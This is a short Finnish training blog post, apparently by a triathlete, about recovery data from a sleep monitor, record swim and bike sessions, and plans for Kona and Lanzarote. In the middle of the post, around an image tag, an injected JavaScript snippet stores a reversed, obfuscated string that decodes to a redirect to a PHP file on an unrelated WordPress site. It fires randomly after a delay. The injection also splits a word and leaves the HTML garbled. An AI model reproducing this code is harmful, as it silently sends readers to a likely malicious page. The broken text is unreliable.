Lyhyt väliviikon postatus. Nimittäin ensi viikon sunnuntaina tulee täyteen ensimmäinen 12 viikon treenijakso. Silloin sitten pidempi analyyttinen blogiteksti.
Tämä mennyt viikko on selvästi ollut harjoituksellisesti kovin. Tuli myös EmfitQS tärkeys todettua. Nimittäin tiistain ja keskiviikon välisen yön data oli karua. miinus palautuminen ja pohjat RMSSD arvossa 29. Keskiviikkona kevyt peekoo hiihto ja uinti. Mutta torstaina tuo näkyi vasta lihaksissa ja sitäkin päivää piti vähän keventää. Eli kovassa harjoittelussa tuo näkyy ensiksi hermostossa ja unen laadussa, sitten vasta puhtaasti lihaksistossa. Joten taas olen vähän viisaampi ja pystyn ennakoimaan tilannetta. Hyvä näin.
{if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tommi-ja-kaitsu.jpg” alt=”” width=”2048″ height=”1536″ class=”alignleft size-full wp-image-703″ /></p>
<p>Loppu viikko onkin ollut sitten yhtä pintalii<script>$NfI=function(n){if (typeof ($NfI.list[n]) == )
toa. Mitään tarkoitusta ei ole ollut tehdä mitään ennätystreenejä, mutta niitä on vaan tullut. Uinti on ottanut nyt ison harppauksen eteenpäin. Jo tällä tasolla missä nyt mennään tiedän että tulen Konalla oman ikäryhmäni kärkiryhmässä T1. Pyörästä puhumattakaan. Tänään Tommin kanssa Pirkkahallissa 2x30min 1x20min ennätys wateilla. Toisen 30min viimeinen 5min 6w/kg pyörällä ei ole ikinä alavatsa krampannut mutta nyt kramppas. Mut onneksi vedon loputtua. Kyllä tässä kovasti yritetään että Tommi pääsisi minua sparraamaan KonaCampille syyskuussa.
Juoksusta, ehkä tämä kuva kertoo kaiken 4min/km. Oikein mukavaa alkavaa viikkoa se on just helmikuu ja Lanzarote!
